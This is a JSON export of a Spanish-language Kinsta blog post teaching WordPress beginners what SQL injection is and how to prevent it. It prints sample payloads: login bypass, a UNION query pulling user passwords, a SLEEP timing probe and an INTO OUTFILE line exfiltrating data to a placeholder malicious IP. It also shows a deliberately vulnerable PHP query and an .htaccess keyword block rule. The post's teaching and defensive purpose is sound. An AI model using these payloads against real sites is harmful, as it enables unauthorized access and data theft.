{"id":30171,"date":"2020-01-14T02:42:14","date_gmt":"2020-01-14T10:42:14","guid":{"rendered":"https:\/\/staging.kinsta.site\/?p=62827"},"modified":"2022-07-27T15:21:19","modified_gmt":"2022-07-27T13:21:19","slug":"inyeccion-sql","status":"publish","type":"post","link":"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/","title":{"rendered":"Inyecci\u00f3n SQL: Una gu\u00eda para usuarios principiantes de WordPress"},"content":{"rendered":"<p>SQL (Structured Query Language) es un lenguaje que nos permite interactuar con <a href=\"https:\/\/staging.kinsta.site\/es\/base-de-conocimiento\/base-de-datos-wordpress\/\">las bases de datos<\/a>. Las aplicaciones web modernas utilizan bases de datos para gestionar los datos y mostrar el contenido din\u00e1mico a los lectores.<\/p>\n<p>La inyecci\u00f3n SQL, o SQLi, es un ataque a una aplicaci\u00f3n web que compromete su base de datos mediante sentencias SQL maliciosas.<\/p>\n<p>Como se trata de un ataque com\u00fan, tratemos de aprender m\u00e1s sobre lo que es, c\u00f3mo sucede y c\u00f3mo defenderse de \u00e9l.<\/p>\n<p>\u00bfListo? \u00a1Vamos a sumergirnos!<\/p>\n<div><\/div><kinsta-auto-toc heading=\"Table of Contents\" exclude=\"last\" list-style=\"arrow\" selector=\"h2\" count-number=\"-1\"><\/kinsta-auto-toc>\n<h2>\u00bfQu\u00e9 es SQL Inyecci\u00f3n?<\/h2>\n<p>La inyecci\u00f3n SQL, o SQLi, es un tipo de ataque a una aplicaci\u00f3n web que permite a un atacante insertar sentencias SQL maliciosas en la aplicaci\u00f3n web, obteniendo potencialmente acceso a datos sensibles en la base de datos o destruyendo estos datos, la inyecci\u00f3n SQL fue descubierta por primera vez por Jeff Forristal en 1998.<\/p>\n<p>En las dos d\u00e9cadas que han transcurrido desde su descubrimiento, la inyecci\u00f3n SQL ha sido sistem\u00e1ticamente la principal prioridad de los <a href=\"https:\/\/staging.kinsta.site\/es\/blog\/contratar-desarrollador-de-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">desarrolladores web a la hora de dise\u00f1ar<\/a> aplicaciones.<\/p>\n<p>Barclaycard estim\u00f3 en 2012 que el <a href=\"https:\/\/www.techworld.com\/news\/security\/barclays-97-percent-of-data-breaches-still-due-sql-injection-3331283\/\" target=\"_blank\" rel=\"noopener noreferrer\">97% de las violaciones de datos se inician con un ataque de inyecci\u00f3n SQL<\/a>. Una inyecci\u00f3n SQL es frecuente incluso hoy en d\u00eda y la gravedad de los ataques de inyecci\u00f3n en una aplicaci\u00f3n web es ampliamente reconocida. Es uno de los <a href=\"https:\/\/www.owasp.org\/images\/7\/72\/OWASP_Top_10-2017_%28en%29.pdf.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">diez riesgos de seguridad de aplicaciones web m\u00e1s cr\u00edticos de<\/a> OWASP.<\/p>\n<h2>\u00bfC\u00f3mo funciona la vulnerabilidad de inyecci\u00f3n SQL?<\/h2>\n<p>Una vulnerabilidad de inyecci\u00f3n SQL proporciona a un atacante un acceso completo a la base de datos de su aplicaci\u00f3n mediante el uso de sentencias SQL maliciosas.<\/p>\n<p>En esta secci\u00f3n, compartimos un ejemplo de c\u00f3mo se ve una aplicaci\u00f3n vulnerable.<\/p>\n<p>Imagine el flujo de trabajo de una t\u00edpica aplicaci\u00f3n web que implica solicitudes de bases de datos a trav\u00e9s de las entradas del usuario. La entrada del usuario se realiza a trav\u00e9s de un formulario, por ejemplo, un <a href=\"https:\/\/staging.kinsta.site\/es\/blog\/encontrar-wordpress-url\/\" target=\"_blank\" rel=\"noopener noreferrer\">formulario de acceso<\/a>. A continuaci\u00f3n, se consulta la base de datos con los campos enviados por el usuario para autentificarlos. La estructura de la consulta a su base de datos es algo as\u00ed:<\/p>\n<pre><code>select * from user_table\nwhere\u00a0username = 'sdaityari'\nand\u00a0password = 'mypassword';\n<\/code><\/pre>\n<p>Para simplificar, supongamos que est\u00e1 almacenando sus contrase\u00f1as como texto claro. Sin embargo, es una buena pr\u00e1ctica <a href=\"https:\/\/staging.kinsta.site\/es\/base-de-conocimiento\/salts-de-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">cifrar sus contrase\u00f1as<\/a> y luego convertirlas en hash. A continuaci\u00f3n, si ha recibido el nombre de usuario y la contrase\u00f1a del formulario, puede definir la consulta en PHP de la siguiente manera:<\/p>\n<pre><code>\/\/ Connect to SQL database\n$db_query = \"select * from user_table where\nusername = '\".$user.\"'\nAND password = '\".$password.\"';\";\n\/\/ Execute query\n<\/code><\/pre>\n<p>Si alguien introduce el valor \u00abadmin&#8217;;-\u00bb en el campo de nombre de usuario, la consulta SQL resultante que genera la variable $db_query ser\u00e1 la siguiente:<\/p>\n<pre><code>select * from user_table where\nusername = 'admin';--' and password = 'mypassword'\n<\/code><\/pre>\n<p>\u00bfQu\u00e9 hace esta consulta?<\/p>\n<p>Un comentario en SQL comienza con guiones dobles (&#8211;). La consulta resultante filtra s\u00f3lo por el nombre de usuario sin tener en cuenta la contrase\u00f1a. Si no hubiera seguridad para evitarlo, simplemente se le conceder\u00eda acceso administrativo a la aplicaci\u00f3n web con s\u00f3lo usar este truco.<\/p>\n<p>Alternativamente, un ataque booleano tambi\u00e9n puede ser usado en este ejemplo para obtener acceso. Si un atacante introduce \u00abpassword&#8217; o 1=1;-\u00bb en el campo de la contrase\u00f1a, la consulta resultante ser\u00eda la siguiente:<\/p>\n<pre><code>select * from user_table where\nusername = 'admin' and\npassword = 'password' or 1=1;--';\n<\/code><\/pre>\n<p>En este caso, incluso si su contrase\u00f1a es incorrecta, usted se autenticar\u00e1 en la aplicaci\u00f3n. Si su p\u00e1gina web muestra los resultados de la consulta de la base de datos, un atacante puede utilizar el comando show tables, comando para mostrar las tablas en la base de datos, y luego selectivamente dejar caer las tablas si as\u00ed lo desea.<\/p>\n<figure style=\"width: 666px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2019\/11\/exploits-of-a-mom.png\" alt=\"Un dibujo animado en inyecci\u00f3n SQL\" width=\"666\" height=\"205\"><figcaption class=\"wp-caption-text\">Un dibujo animado en inyecci\u00f3n SQL (fuente de la imagen: <a href=\"https:\/\/xkcd.com\/327\/\">XKCD<\/a>)<\/figcaption><\/figure>\n<p>Exploits of a Mom, una popular tira c\u00f3mica de XKCD, muestra la conversaci\u00f3n de una madre con la escuela de su hijo, donde le preguntan si realmente llam\u00f3 a su hijo \u00abRobert&#8217;); DROP TABLE Students; &#8211;\u00ab.<\/p>\n<h2>Tipos de Inyecci\u00f3n SQL<\/h2>\n<p>Ahora que ya conoce los fundamentos de una vulnerabilidad de inyecci\u00f3n SQL, vamos a explorar los distintos tipos de ataques de inyecci\u00f3n SQL y la raz\u00f3n de cada uno de ellos.<\/p>\n<h3>Inyecci\u00f3n SQL en banda<\/h3>\n<p>La inyecci\u00f3n SQL en banda es la forma m\u00e1s simple de inyecci\u00f3n SQL. En este proceso, el atacante es capaz de utilizar el mismo canal para insertar el c\u00f3digo SQL malicioso en la aplicaci\u00f3n, as\u00ed como para recoger los resultados. Discutiremos dos formas de ataques de inyecci\u00f3n SQL en banda:<\/p>\n<h4>Ataque basado en errores<\/h4>\n<p>Un atacante utiliza una t\u00e9cnica de inyecci\u00f3n SQL basada en errores durante las fases iniciales de su ataque. La idea detr\u00e1s de una inyecci\u00f3n SQL basada en errores es obtener m\u00e1s informaci\u00f3n sobre la estructura de la base de datos y los nombres de las tablas que sigue la aplicaci\u00f3n web. Por ejemplo, un mensaje de error puede contener el nombre de la tabla incluido en la consulta y los nombres de las columnas de la tabla. Estos datos pueden ser utilizados para crear nuevos ataques.<\/p>\n<h4>Ataque basado en la Uni\u00f3n<\/h4>\n<p>En este m\u00e9todo, un atacante que utiliza la uni\u00f3n SQL se une para mostrar los resultados de una tabla diferente. Por ejemplo, si un atacante est\u00e1 en una <a href=\"https:\/\/staging.kinsta.site\/es\/blog\/busqueda-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">p\u00e1gina de b\u00fasqueda<\/a>, puede a\u00f1adir los resultados de otra tabla.<\/p>\n<pre><code>select title, link from post_table\nwhere id &lt; 10\nunion\nselect username, password\nfrom user_table; --;\n<\/code><\/pre>\n<h3>Inyecci\u00f3n SQL Inferencial (Blind SQL Injection)<\/h3>\n<p>Incluso si un atacante genera un error en la consulta SQL, la respuesta de la consulta puede no ser transmitida directamente a la p\u00e1gina web. En tal caso, el atacante necesita investigar m\u00e1s.<\/p>\n<p>En esta forma de inyecci\u00f3n SQL, el atacante env\u00eda varias consultas a la base de datos para evaluar c\u00f3mo la aplicaci\u00f3n analiza estas respuestas. Una inyecci\u00f3n SQL inferencial es a veces tambi\u00e9n conocida como <strong>inyecci\u00f3n SQL ciega<\/strong>. A continuaci\u00f3n veremos dos tipos de inyecciones SQL inferenciales: inyecci\u00f3n SQL booleana e inyecci\u00f3n SQL basada en tiempo.<\/p>\n<h4>Ataque Booleano<\/h4>\n<p>Si una consulta SQL da como resultado un error que no ha sido manejado internamente en la aplicaci\u00f3n, la p\u00e1gina web resultante puede arrojar un error, cargar una p\u00e1gina en blanco o cargar parcialmente. En una inyecci\u00f3n SQL booleana, un atacante eval\u00faa qu\u00e9 partes de la entrada de un usuario son vulnerables a las inyecciones SQL probando dos versiones diferentes de una cl\u00e1usula booleana a trav\u00e9s de la entrada:<\/p>\n<ul>\n<li>\u00ab\u2026 and 1=1\u00bb<\/li>\n<li>\u00ab\u2026 and 1=2\u00bb<\/li>\n<\/ul>\n<p>Si la aplicaci\u00f3n funciona normalmente en el primer caso pero muestra una anomal\u00eda en el segundo, indica que la aplicaci\u00f3n es vulnerable a un ataque de inyecci\u00f3n SQL.<\/p>\n<h4>Ataque basado en el tiempo<\/h4>\n<p>Un ataque de inyecci\u00f3n SQL basado en el tiempo tambi\u00e9n puede ayudar a un atacante a <a href=\"https:\/\/staging.kinsta.site\/es\/base-de-conocimiento\/divulgar-vulnerabilidad-de-seguridad\/\" target=\"_blank\" rel=\"noopener noreferrer\">determinar si una vulnerabilidad est\u00e1 presente<\/a> en una aplicaci\u00f3n web. Un atacante utiliza una funci\u00f3n predefinida basada en el tiempo del sistema de administraci\u00f3n de la base de datos que es utilizada por la aplicaci\u00f3n. Por ejemplo, <a href=\"https:\/\/staging.kinsta.site\/es\/base-de-conocimiento\/que-es-mysql\/\" target=\"_blank\" rel=\"noopener noreferrer\">en MySQL<\/a>, <a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.0\/en\/miscellaneous-functions.html#function_sleep\" target=\"_blank\" rel=\"noopener noreferrer\">la funci\u00f3n sleep() le indica a<\/a> la base de datos que espere un cierto n\u00famero de segundos.<\/p>\n<pre><code>select * from comments\nWHERE post_id=1-SLEEP(15);\n<\/code><\/pre>\n<p>Si tal consulta resulta en un retraso, el atacante sabr\u00e1 que es vulnerable.<\/p>\n<h3>Inyecci\u00f3n SQL fuera de banda<\/h3>\n<p>Si un atacante no puede obtener los resultados de una inyecci\u00f3n SQL a trav\u00e9s del mismo canal. Las t\u00e9cnicas de inyecci\u00f3n SQL fuera de banda pueden utilizarse como alternativa a las t\u00e9cnicas de inyecci\u00f3n SQL inferencial.<\/p>\n<p>T\u00edpicamente, estas t\u00e9cnicas implican el env\u00edo de datos de la base de datos a una ubicaci\u00f3n maligna elegida por el atacante. Este proceso tambi\u00e9n depende en gran medida de las capacidades del sistema de gesti\u00f3n de la base de datos.<\/p>\n<p>Un ataque de inyecci\u00f3n SQL fuera de banda utiliza una capacidad de proceso de archivos externos de su SGBD. En MySQL, las funciones LOAD_FILE() y INTO OUTFILE pueden ser usadas para solicitar a MySQL que transmita los datos a una fuente externa. A continuaci\u00f3n se muestra c\u00f3mo un atacante puede utilizar OUTFILE para enviar los resultados de una consulta a una fuente externa:<\/p>\n<pre><code>select * from post_table\ninto OUTFILE '\\\\\\\\MALICIOUS_IP_ADDRESS\\location'\n<\/code><\/pre>\n<p>De manera similar, la funci\u00f3n LOAD_FILE() puede utilizarse para leer un archivo del servidor y mostrar su contenido. Se puede utilizar una combinaci\u00f3n de LOAD_FILE() y OUTFILE para leer el contenido de un archivo en el servidor y luego transmitirlo a una ubicaci\u00f3n diferente.<\/p>\n<h2>\u00bfC\u00f3mo prevenir las inyecciones de SQL?<\/h2>\n<p>Hasta ahora, hemos explorado las vulnerabilidades en una aplicaci\u00f3n web que pueden conducir a ataques de inyecci\u00f3n SQL. Una vulnerabilidad de inyecci\u00f3n SQL puede ser utilizada por un atacante para leer, modificar o incluso eliminar el contenido de su base de datos.<\/p>\n<p>Adem\u00e1s, tambi\u00e9n puede permitirle a uno leer un archivo en cualquier lugar dentro del servidor y transferir el contenido a otro lugar. En esta secci\u00f3n, exploramos varias t\u00e9cnicas para proteger su aplicaci\u00f3n web y sitio web contra ataques de inyecci\u00f3n SQL.<\/p>\n<h3>Entradas Escape del usuario<\/h3>\n<p>En t\u00e9rminos generales, es una tarea dif\u00edcil determinar si una cadena de usuario es maliciosa o no. Por lo tanto, la mejor manera de hacerlo es escapar de los caracteres especiales en la entrada del usuario.<\/p>\n<p>Este proceso le ahorra un ataque de inyecci\u00f3n SQL. Puede escapar una cadena antes de construir la consulta en <a href=\"https:\/\/staging.kinsta.site\/es\/blog\/acaso-ha-muerto-php\/\" target=\"_blank\" rel=\"noopener noreferrer\">PHP<\/a> usando la funci\u00f3n <code>mysql_escape_string()<\/code>. Tambi\u00e9n puedes escapar una cadena en MySQL usando la funci\u00f3n <code>mysqli_real_escape_string()<\/code>.<\/p>\n<p>Mientras se muestra la salida como HTML, tambi\u00e9n tendr\u00e1 que convertir la cadena para asegurarse de que los caracteres especiales no interfieren con el marcado HTML. Puede convertir caracteres especiales en PHP usando la funci\u00f3n <code>htmlspecialchars()<\/code>.<\/p>\n<h3>Usar declaraciones preparadas<\/h3>\n<p>Alternativamente, puede usar sentencias preparadas para evitar las inyecciones de SQL. Una sentencia preparada es una plantilla de una consulta SQL, en la que se especifican los par\u00e1metros en una etapa posterior para ejecutarla. Aqu\u00ed hay un ejemplo de una declaraci\u00f3n preparada en PHP y MySQLi.<\/p>\n<pre><code>$query = $mysql_connection-&gt;prepare(\"select * from user_table where username = ? and password = ?\");\n$query-&gt;execute(array($username, $password));<\/code><\/pre>\n<h3>Otras comprobaciones de higiene para evitar ataques SQL<\/h3>\n<p>El siguiente paso para mitigar esta vulnerabilidad es limitar el acceso a la base de datos a s\u00f3lo lo necesario.<\/p>\n<p>Por ejemplo, conecte su aplicaci\u00f3n web al SGBD utilizando un usuario espec\u00edfico, que s\u00f3lo tiene acceso a la base de datos relevante.<\/p>\n<p>Restringir el acceso del usuario de la base de datos a todas las dem\u00e1s ubicaciones del servidor. Tambi\u00e9n es posible que desee bloquear ciertas palabras clave SQL en su URL a trav\u00e9s de su servidor web. Si est\u00e1 usando <a href=\"https:\/\/staging.kinsta.site\/es\/blog\/nginx-vs-apache\/\" target=\"_blank\" rel=\"noopener noreferrer\">Apache<\/a> como servidor web, puede usar las siguientes l\u00edneas de c\u00f3digo en su <a href=\"https:\/\/staging.kinsta.site\/es\/base-de-conocimiento\/archivo-htaccess-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">archivo .htaccess<\/a> para mostrar un error 403 Forbidden a un posible atacante.<\/p>\n<p>Debe tener cuidado antes de usar esta t\u00e9cnica ya que Apache mostrar\u00e1 un error a un lector si la URL contiene estas palabras clave.<\/p>\n<pre><code>RewriteCond %{QUERY_STRING} [^a-z](declare\u00a6char\u00a6set\u00a6cast\u00a6convert\u00a6delete\u00a6drop\u00a6exec\u00a6insert\u00a6meta\u00a6script\u00a6select\u00a6truncate\u00a6update)[^a-z] [NC]\nRewriteRule (.*) - [F]<\/code><\/pre>\n<aside role=\"note\" class=\"wp-block-kinsta-notice is-style-info\">\n            <h3>Info<\/h3>\n        <p>Kinsta ejecuta WordPress en el servidor web de Nginx, el cual no soporta un archivo .htaccess. Si quiere establecer una regla para bloquear palabras clave en su URL, contacte con el <a href=\"https:\/\/staging.kinsta.site\/docs\/wordpress-support-ticket\/\" target=\"_blank\" rel=\"noopener noreferrer\">equipo de soporte de Kinsta<\/a> y ellos podr\u00e1n ayudarle.<\/p>\n<\/aside>\n\n<p>Como un consejo adicional de prevenci\u00f3n, siempre debe utilizar un <a href=\"https:\/\/staging.kinsta.site\/es\/blog\/wordpress-pirateado\/#2-keep-your-site-updated\" target=\"_blank\" rel=\"noopener noreferrer\">software actualizado<\/a>. Cuando se publica una nueva versi\u00f3n o un parche, los errores que se han corregido en la actualizaci\u00f3n se detallan en las notas de la versi\u00f3n. Una vez que los detalles de un fallo se hacen p\u00fablicos, ejecutar una versi\u00f3n antigua de cualquier software puede ser arriesgado.<\/p>\n<h2>Inyecci\u00f3n SQL en WordPress<\/h2>\n<p>Usted est\u00e1 seguro de cualquier vulnerabilidad de inyecci\u00f3n SQL si utiliza <a href=\"https:\/\/staging.kinsta.site\/es\/base-de-conocimiento\/nucleo-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">archivos centrales de WordPress actualizados<\/a>. Sin embargo, cuando se utilizan temas y plugins de terceros, toda la aplicaci\u00f3n corre peligro.<\/p>\n<p><strong>Su sitio de WordPress es tan fuerte como su enlace m\u00e1s d\u00e9bil<\/strong>. En esta secci\u00f3n, exploramos las consideraciones clave para mitigar la vulnerabilidad de la inyecci\u00f3n SQL en WordPress y c\u00f3mo realizar comprobaciones de vulnerabilidad en su sitio de WordPress existente.<\/p>\n<h3>Prevenci\u00f3n de Vulnerabilidad de Inyecci\u00f3n SQL para WordPress<\/h3>\n<p>Para mitigar la vulnerabilidad de SQL Injection en su tema o plugin de <a href=\"https:\/\/staging.kinsta.site\/es\/blog\/instalar-tema-wordpress\/\">WordPress<\/a>, la \u00fanica regla que debe seguir es utilizar siempre las <a href=\"https:\/\/developer.wordpress.org\/reference\/functions\/\">funciones existentes de WordPress<\/a> cuando interact\u00fae con la base de datos.<\/p>\n<p>Estas funciones se prueban exhaustivamente en busca de vulnerabilidades de inyecci\u00f3n SQL durante el proceso de desarrollo de WordPress. Por ejemplo, si desea a\u00f1adir un comentario a una entrada, utilice la <a href=\"https:\/\/developer.wordpress.org\/reference\/functions\/wp_insert_comment\/\" target=\"_blank\" rel=\"noopener noreferrer\">funci\u00f3n wp_insert_comment()<\/a> en lugar de insertar los datos directamente en la tabla wp_comments.<\/p>\n<p>Aunque las funciones son extensibles, puede que ocasionalmente necesite ejecutar una consulta compleja. En tal caso, aseg\u00farese de utilizar el <a href=\"https:\/\/developer.wordpress.org\/reference\/classes\/wpdb\/\" target=\"_blank\" rel=\"noopener noreferrer\">grupo de funciones $wp_db<\/a>. Puede utilizar $wpdb-&gt;prepare() para escapar de la entrada del usuario antes de crear la consulta.<\/p>\n<p>Adem\u00e1s, aqu\u00ed hay <a href=\"https:\/\/developer.wordpress.org\/themes\/theme-security\/data-sanitization-escaping\/\" target=\"_blank\" rel=\"noopener noreferrer\">una lista de funciones para sanear los datos<\/a> en WordPress. Esto le ayuda a escapar de tipos espec\u00edficos de entradas de usuario como correos electr\u00f3nicos y URLs.<\/p>\n<h3>Asegure su sitio de WordPress<\/h3>\n<p>Si bien <a href=\"https:\/\/staging.kinsta.site\/es\/blog\/es-wordpress-seguro\/\" target=\"_blank\" rel=\"noopener noreferrer\">WordPress es seguro<\/a>, problemas como el software de n\u00facleo anticuado y los <a href=\"https:\/\/staging.kinsta.site\/es\/blog\/plugins-temas-anulados-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">plugins anulados<\/a> pueden provocar vulnerabilidades. Aunque no hay alternativa a que usted revise su sitio de WordPress para ver si hay una vulnerabilidad de inyecci\u00f3n SQL a fondo, la complejidad de un sitio web puede hacer que esta tarea sea un desaf\u00edo.<\/p>\n<p>Puede utilizar una herramienta de exploraci\u00f3n en l\u00ednea como <a href=\"https:\/\/db.threatpress.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">ThreatPass<\/a> y <a href=\"https:\/\/wpscan.org\/\" target=\"_blank\" rel=\"noopener noreferrer\">WPScan Vulnerability Database<\/a>. Puede auditar sus plugins para ver si su desarrollo se ha estancado. Si fueron abandonados hace tiempo, puede que no sea una buena idea usarlos en su sitio.<\/p>\n<p>Si a\u00fan as\u00ed necesita utilizarlos, aseg\u00farese de probar exhaustivamente su c\u00f3digo y funcionalidad para detectar vulnerabilidades. Aparte de esto, aseg\u00farese de seguir estos controles de higiene:<\/p>\n<ul>\n<li>Actualizar PHP, el n\u00facleo de WordPress y MySQL<\/li>\n<li>Actualizar los plugins y temas de terceros<\/li>\n<li>Evite utilizar el usuario root para conectar la base de datos SQL<\/li>\n<li>Limitar los accesos del usuario SQL a los directorios sensibles<\/li>\n<li>Bloquee las palabras clave de SQL usando su servidor<\/li>\n<li>Mantenga las copias de seguridad de su sitio fuera del sitio en caso de da\u00f1os irreversibles<\/li>\n<\/ul>\n<p>Aqu\u00ed hay <a href=\"https:\/\/staging.kinsta.site\/es\/blog\/seguridad-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">un post detallado sobre la seguridad de WordPress<\/a> y una lista exhaustiva de comprobaciones. Adem\u00e1s, es posible que desee invertir en estos <a href=\"https:\/\/staging.kinsta.site\/es\/blog\/plugins-seguridad-wordpress\/\" target=\"_blank\" rel=\"noopener noreferrer\">plugins de alta seguridad para WordPress<\/a>. Esto es lo que debe hacer <a href=\"https:\/\/staging.kinsta.site\/es\/blog\/wordpress-pirateado\/\" target=\"_blank\" rel=\"noopener noreferrer\">si su sitio de WordPress es hackeado a pesar de<\/a> sus mejores esfuerzos.<\/p>\n<aside role=\"note\" class=\"wp-block-kinsta-notice is-style-info\">\n            <h3>Info<\/h3>\n        <p>Kinsta ofrece un <a href=\"https:\/\/staging.kinsta.site\/es\/base-de-conocimiento\/seguridad-malware\/\">compromiso de seguridad contra el malware<\/a> a todos sus clientes en todos los planes.<\/p>\n<\/aside>\n\n<h2>\u00bfEs ilegal la inyecci\u00f3n SQL?<\/h2>\n<p>\u00a1Definitivamente, s\u00ed! Aunque existe una vulnerabilidad real, un atacante sigue tratando de obtener acceso a datos que de otra manera no estar\u00edan disponibles para \u00e9l.<\/p>\n<p>Imagine un escenario en el que alguien deja las llaves en el coche. \u00bfConstituye una ofensa el hecho de que se haya dejado abierto y desatendido? El acto de SQLi se rige por diferentes leyes en varios pa\u00edses. Se rige por la Ley de Fraude <a href=\"https:\/\/www.justice.gov\/sites\/default\/files\/criminal-ccips\/legacy\/2015\/01\/14\/ccmanual.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">y Abuso Inform\u00e1tico (1986) en los Estados Unidos<\/a>, y la Ley de Uso Indebido de Ordenadores <a href=\"http:\/\/www.legislation.gov.uk\/ukpga\/1990\/18\/contents\" target=\"_blank\" rel=\"noopener noreferrer\">(1990) en el Reino Unido<\/a>.<\/p>\n\n<h2>Resumen<\/h2>\n<p>Las vulnerabilidades de inyecci\u00f3n SQL fueron descubiertas hace mucho tiempo. Sin embargo, <a href=\"https:\/\/www.webarxsecurity.com\/website-hacking-statistics-2018-february\/\" target=\"_blank\" rel=\"noopener noreferrer\">un informe de 2018 sobre sitios web pirateados<\/a> sugiere que SQLi es el sitio web pirata m\u00e1s com\u00fan para WordPress despu\u00e9s de los ataques de XSS. Para evitar que ocurran, deber\u00eda:<\/p>\n<ul>\n<li>Entender c\u00f3mo funciona la vulnerabilidad de SQL Injection<\/li>\n<li>Explorar varias formas en las que los atacantes pueden usar SQLi para obtener acceso no autorizado a su aplicaci\u00f3n web<\/li>\n<li>Implementar m\u00e9todos para salvaguardar su sitio web de los ataques de SQLi, como escapar de las entradas de los usuarios y utilizar sentencias preparadas<\/li>\n<li>Siga una rutina de control de seguridad<\/li>\n<\/ul>\n<p>Como dice el viejo refr\u00e1n, \u00abm\u00e1s vale prevenir que curar\u00bb.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQL (Structured Query Language) es un lenguaje que nos permite interactuar con las bases de datos. Las aplicaciones web modernas utilizan bases de datos para gestionar &#8230;<\/p>\n","protected":false},"author":118,"featured_media":30174,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_kinsta_gated_content":false,"_kinsta_gated_content_redirect":"","footnotes":""},"tags":[623,592],"topic":[],"class_list":["post-30171","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","tag-sitesecurity","tag-wordpresshack"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v17.1.2 (Yoast SEO v25.8) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Inyecci\u00f3n SQL: Una gu\u00eda para usuarios principiantes de WordPress<\/title>\n<meta name=\"description\" content=\"Aprenda lo que es una inyecci\u00f3n SQL, c\u00f3mo la vulnerabilidad de la inyecci\u00f3n SQL puede existir en sus aplicaciones web (como los sitios de WordPress) y c\u00f3mo prevenir los ataques.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Inyecci\u00f3n SQL: Una gu\u00eda para usuarios principiantes de WordPress\" \/>\n<meta property=\"og:description\" content=\"Aprenda lo que es una inyecci\u00f3n SQL, c\u00f3mo la vulnerabilidad de la inyecci\u00f3n SQL puede existir en sus aplicaciones web (como los sitios de WordPress) y c\u00f3mo prevenir los ataques.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/\" \/>\n<meta property=\"og:site_name\" content=\"Kinsta\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/kinsta.es\/\" \/>\n<meta property=\"article:published_time\" content=\"2020-01-14T10:42:14+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-07-27T13:21:19+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2020\/01\/inyeccion-sql.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1460\" \/>\n\t<meta property=\"og:image:height\" content=\"730\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Shaumik Daityari\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:description\" content=\"Aprenda lo que es una inyecci\u00f3n SQL, c\u00f3mo la vulnerabilidad de la inyecci\u00f3n SQL puede existir en sus aplicaciones web (como los sitios de WordPress) y c\u00f3mo prevenir los ataques.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2020\/01\/inyeccion-sql.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@Kinsta_ES\" \/>\n<meta name=\"twitter:site\" content=\"@Kinsta_ES\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Shaumik Daityari\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"15 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/\"},\"author\":{\"name\":\"Shaumik Daityari\",\"@id\":\"https:\/\/staging.kinsta.site\/es\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504\"},\"headline\":\"Inyecci\u00f3n SQL: Una gu\u00eda para usuarios principiantes de WordPress\",\"datePublished\":\"2020-01-14T10:42:14+00:00\",\"dateModified\":\"2022-07-27T13:21:19+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/\"},\"wordCount\":2774,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/staging.kinsta.site\/es\/#organization\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/staging.kinsta.site\/es\/wp-content\/uploads\/sites\/8\/2020\/01\/inyeccion-sql.jpg\",\"keywords\":[\"sitesecurity\",\"wordpresshack\"],\"articleSection\":[\"Seguridad WordPress\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/\",\"url\":\"https:\/\/staging.kinsta.site\/es\/blog\/inyeccion-sql\/\",\"name\":\"Inyecci\u00f3n SQL: Una gu\u00eda para usuarios principiantes de 